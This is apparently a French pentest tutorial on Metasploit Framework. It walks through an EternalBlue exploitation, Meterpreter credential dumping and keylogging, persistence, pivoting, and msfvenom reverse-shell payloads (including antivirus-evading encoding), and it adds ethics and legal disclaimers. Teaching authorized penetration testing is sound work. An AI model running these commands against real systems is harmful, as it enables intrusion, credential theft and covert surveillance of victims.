Metasploit Framework : Guide Complet du Framework Pentest 2025
Guide complet Metasploit Framework : découvrez le framework pentest Metasploit, Metasploit Pro et Metasploit Project. Tutoriel pratique pour maîtriser ce framework de pentesting incontournable. Installation, exploitation et meterpreter expliqués.
Metasploit Framework (MSF) est le framework de test d'intrusion le plus utilisé au monde. Développé par Rapid7, cet outil open-source permet aux professionnels de la cybersécurité de réaliser des audits de sécurité complets, d'identifier des vulnérabilités et de tester la résilience des systèmes face aux attaques.
Dans ce guide exhaustif, vous découvrirez comment installer, configurer et utiliser Metasploit de manière éthique et responsable, de la reconnaissance initiale à la post-exploitation avancée.
Qu'est-ce que Metasploit ?
Metasploit est un framework modulaire créé en 2003 par HD Moore. Il regroupe des milliers d'exploits, payloads, encodeurs et outils auxiliaires permettant de :
- Identifier des vulnérabilités sur des systèmes, applications et réseaux.
- Exploiter des failles de sécurité de manière contrôlée dans le cadre de tests autorisés.
- Tester la sécurité des infrastructures avant qu'un attaquant réel ne le fasse.
- Réaliser de la post-exploitation : collecte d'informations, escalade de privilèges, persistence, pivoting.
- Automatiser des tâches de pentest grâce à des scripts et modules personnalisables.
Metasploit est l'outil de référence utilisé par les pentesters, red teams, chercheurs en sécurité et administrateurs systèmes pour auditer la sécurité de leurs environnements.
Pourquoi Metasploit est-il incontournable ?
- Pour les pentesters professionnels : exploiter des vulnérabilités dans le cadre de missions de test d'intrusion autorisées.
- Pour les administrateurs systèmes : vérifier si leurs systèmes sont vulnérables aux exploits publics.
- Pour les chercheurs en sécurité : développer et tester de nouveaux exploits de manière contrôlée.
- Pour les red teams : simuler des attaques réalistes pour évaluer la sécurité d'une organisation.
- Pour la formation : apprendre les techniques offensives en cybersécurité dans un environnement légal et contrôlé.
Architecture de Metasploit : comprendre les bases
Avant de plonger dans la pratique, il est essentiel de comprendre l'architecture modulaire de Metasploit.
Les modules Metasploit
Metasploit est organisé en cinq types de modules principaux :
1. Exploits
Un exploit est un code qui tire parti d'une vulnérabilité pour compromettre un système. Exemples : exploitation d'une faille dans un serveur FTP, d'une injection SQL, d'un buffer overflow.
2. Payloads
Un payload est le code exécuté sur le système compromis après une exploitation réussie. Types de payloads :
- Singles : payloads autonomes (ex: exécuter une commande).
- Stagers : établissent une connexion puis téléchargent le reste du payload.
- Stages : le code principal téléchargé par le stager (ex: Meterpreter).
3. Encoders
Les encoders modifient le code du payload pour éviter la détection par les antivirus et systèmes de protection (IDS/IPS).
4. Auxiliary
Les modules auxiliaires réalisent des tâches de reconnaissance, scanning, fuzzing, sniffing, etc. Ils ne permettent pas l'exploitation directe mais fournissent des informations cruciales.
5. Post-exploitation
Les modules de post-exploitation sont utilisés après avoir compromis un système pour collecter des informations, escalader les privilèges, installer des backdoors, pivoter vers d'autres machines, etc.
Meterpreter : le payload ultime
Meterpreter (Meta-Interpreter) est le payload le plus puissant de Metasploit. Il s'exécute entièrement en mémoire (sans fichier sur le disque), ce qui le rend très difficile à détecter. Il offre :
- Un shell interactif avancé.
- La capture de frappes clavier (keylogging).
- La capture de webcam et microphone.
- Le téléchargement/upload de fichiers.
- L'exécution de scripts et commandes système.
- L'escalade de privilèges automatique.
- Le pivoting vers d'autres réseaux.
Installation de Metasploit
Sur Kali Linux
Metasploit est pré-installé sur Kali Linux, la distribution de référence pour le pentest.
msfconsole
Pour mettre à jour Metasploit :
sudo apt update
sudo apt install metasploit-framework
Sur Ubuntu/Debian
curl -o msfinstall https://raw.githubusercontent.com/rapid7/\metasploit-omnibus/master/config/templates/\metasploit-framework-wrappers/msfupdate.erb
chmod 755 msfinstall
./msfinstall
Sur macOS
brew install metasploit
Sur Windows
Téléchargez l'installateur officiel depuis le site Rapid7 et suivez les instructions.
Vérifier l'installation
msfconsole --version
Premiers pas avec Metasploit
Lancer Metasploit Console (msfconsole)
msfconsole
L'interface en ligne de commande se lance avec le logo ASCII de Metasploit.
Commandes essentielles pour débuter
Aide et documentation
help
Affiche toutes les commandes disponibles.
Rechercher un module
search type:exploit platform:windows smb
Recherche tous les exploits Windows liés au protocole SMB.
Rechercher par CVE :
search cve:2017-0144
Trouve les modules liés à la vulnérabilité EternalBlue (WannaCry).
Sélectionner un module
use exploit/windows/smb/ms17_010_eternalblue
Afficher les options d'un module
show options
Liste toutes les options configurables du module (RHOST, RPORT, LHOST, etc.).
Configurer une option
set RHOSTS 192.168.1.10
set LHOST 192.168.1.5
- RHOSTS : IP de la cible (Remote HOST).
- LHOST : IP de votre machine (Local HOST) pour recevoir la connexion inversée.
Vérifier la configuration
show options
Lancer l'exploit
exploit
Ou utilisez run (équivalent).
Quitter un module
back
Quitter Metasploit
exit
Scénario pratique : exploitation d'une vulnérabilité
Voici un exemple complet d'exploitation d'un système Windows vulnérable à EternalBlue (MS17-010) dans un environnement de test autorisé.
Étape 1 : Reconnaissance avec NMAP
Avant d'utiliser Metasploit, identifiez les systèmes vulnérables :
nmap -sV -p 445 192.168.1.0/24 --script smb-vuln-ms17-010
Si un système est vulnérable, NMAP l'indiquera.
Étape 2 : Lancer Metasploit
msfconsole
Étape 3 : Sélectionner l'exploit EternalBlue
use exploit/windows/smb/ms17_010_eternalblue
Étape 4 : Configurer les options
set RHOSTS 192.168.1.10
set LHOST 192.168.1.5
set
payload windows/x64/meterpreter/reverse_tcp
Étape 5 : Vérifier la configuration
show options
Étape 6 : Lancer l'exploitation
exploit
Si l'exploitation réussit, vous obtenez un shell Meterpreter sur la machine cible.
Étape 7 : Commandes Meterpreter essentielles
sysinfo
Affiche les informations sur le système compromis (OS, architecture, etc.).
getuid
Affiche le compte utilisateur actuel.
getsystem
Tente d'escalader les privilèges vers SYSTEM (administrateur).
hashdump
Extrait les hashs des mots de passe du système (nécessite des privilèges SYSTEM).
screenshot
Prend une capture d'écran de la machine compromise.
keyscan_start
keyscan_dump
Active puis récupère les frappes clavier enregistrées.
shell
Ouvre un shell système Windows (cmd.exe).
download C:\\Users\\Victim\\Documents\\secret.txt /tmp/
Télécharge un fichier depuis la cible vers votre machine.
upload /root/backdoor.exe C:\\Windows\\Temp\\
Upload un fichier vers la cible.
Techniques avancées
Pivoting : attaquer des réseaux internes
Le pivoting permet d'utiliser une machine compromise comme pont pour attaquer d'autres systèmes non accessibles directement.
Ajouter une route
run autoroute -s 10.10.10.0/24
Ajoute le réseau interne 10.10.10.0/24 accessible via la machine compromise.
Scanner le réseau interne via le pivot
use auxiliary/scanner/portscan/tcp
set RHOSTS 10.10.10.0/24
set PORTS 80,443,3389
run
Persistence : maintenir l'accès
Installer un service persistant qui survit aux redémarrages :
run persistence -X -i 60 -p 4444 -r 192.168.1.5
-X: démarrage automatique au boot.-i 60: reconnexion toutes les 60 secondes.-p 4444: port de connexion.-r: IP de l'attaquant.
Générer des payloads personnalisés avec msfvenom
msfvenom est l'outil de génération de payloads de Metasploit.
Générer un exécutable Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f exe -o backdoor.exe
Générer un payload PHP
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f raw > shell.php
Générer un payload Android (APK)
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -o malicious.apk
Encoder un payload pour éviter la détection
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -e x86/shikata_ga_nai -i 10 -f exe -o encoded.exe
-e: encodeur à utiliser.-i 10: nombre d'itérations d'encodage.
Écouter une connexion inversée (handler)
Après avoir généré un payload, configurez un listener pour recevoir la connexion :
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.5
set LPORT 4444
exploit
Attendez que la victime exécute le payload, et vous recevrez un shell Meterpreter.
Modules auxiliaires utiles
Scanner SMB
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.1.0/24
run
Identifie les versions SMB sur le réseau.
Brute-force SSH
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.1.10
set USER_FILE /usr/share/wordlists/users.txt
set PASS_FILE /usr/share/wordlists/passwords.txt
run
Sniffer le trafic réseau
Dans une session Meterpreter :
load sniffer
sniffer_start 1
sniffer_dump 1 /tmp/capture.pcap
Ouvrez le fichier .pcap avec Wireshark pour analyser le trafic.
Bonnes pratiques et éthique
N'utilisez Metasploit que légalement
L'utilisation de Metasploit sur des systèmes sans autorisation écrite explicite est illégale dans la plupart des juridictions et peut entraîner des poursuites pénales sévères.
Cas d'usage légitimes :
- Auditer vos propres systèmes et réseaux.
- Réaliser des missions de pentest avec contrat signé et autorisation écrite du client.
- Participer à des programmes de bug bounty autorisés.
- S'entraîner sur des plateformes légales : HackTheBox, TryHackMe, VulnHub, DVWA, Metasploitable.
- Recherche académique en environnement contrôlé et isolé.
Cas illégaux :
- Exploiter des systèmes d'entreprises ou de particuliers sans permission.
- Diffuser des malwares créés avec msfvenom.
- Réaliser des attaques pour voler des données, extorquer, ou nuire.
Respecter les systèmes
- Documentez toutes vos actions pendant un pentest.
- Conservez les autorisations écrites de vos clients.
- Ne dépassez jamais le périmètre autorisé.
- Informez immédiatement le client des vulnérabilités critiques découvertes.
Ressources pour aller plus loin
- Documentation officielle : docs.rapid7.com/metasploit
- Offensive Security (créateurs de Kali) : formations OSCP, OSCE.
- Metasploitable 2/3 : machines virtuelles volontairement vulnérables pour s'entraîner.
- Exploit Database : exploit-db.com pour découvrir de nouveaux exploits.
- HackTheBox et TryHackMe : plateformes d'entraînement au pentest.
Conclusion
Metasploit est l'outil le plus puissant de l'arsenal des pentesters professionnels. De la reconnaissance à la post-exploitation, il offre une plateforme complète pour auditer la sécurité des systèmes de manière méthodique et efficace.
Que vous soyez débutant ou expert, maîtriser Metasploit est une compétence essentielle en cybersécurité offensive. Utilisez-le de manière responsable, éthique et toujours dans le cadre de la légalité. La sécurité informatique repose sur le respect, l'intégrité et la transparence.
Pratiquez sur des environnements de test, formez-vous continuellement, et contribuez à rendre le monde numérique plus sûr.
⚠️ Avertissement et clause de non-responsabilité
Cet article est publié à des fins purement éducatives et informatives.
L'utilisation de Metasploit Framework ou de tout autre outil d'exploitation sur des systèmes, réseaux ou infrastructures dont vous n'êtes pas propriétaire ou pour lesquels vous n'avez pas reçu d'autorisation écrite explicite est strictement interdite et constitue une infraction pénale grave dans de nombreux pays (France, Union Européenne, États-Unis, etc.).
Les techniques décrites dans cet article (exploitation, post-exploitation, persistence, pivoting) peuvent causer des dommages irréversibles aux systèmes et sont punies par la loi si utilisées de manière malveillante ou sans autorisation.
Je ne peux en aucun cas être tenu responsable de l'utilisation abusive, illégale ou malveillante des informations contenues dans cet article. Toute action que vous entreprenez avec les connaissances acquises ici relève de votre seule responsabilité juridique et pénale.
Utilisez Metasploit Framework uniquement pour :
- Auditer vos propres systèmes et réseaux.
- Réaliser des tests de sécurité dans le cadre de missions de pentest avec autorisation écrite signée.
- Participer à des programmes de bug bounty autorisés avec scope défini.
- Vous former sur des environnements de test légaux : machines virtuelles personnelles, Metasploitable, HackTheBox, TryHackMe, VulnHub.
En appliquant les techniques décrites dans cet article, vous acceptez d'agir de manière éthique, responsable et dans le strict respect des lois en vigueur. Toute utilisation malveillante, non autorisée ou illégale est de votre seule responsabilité et peut entraîner des poursuites judiciaires.
La cybersécurité responsable commence par l'éthique et le respect des systèmes d'autrui.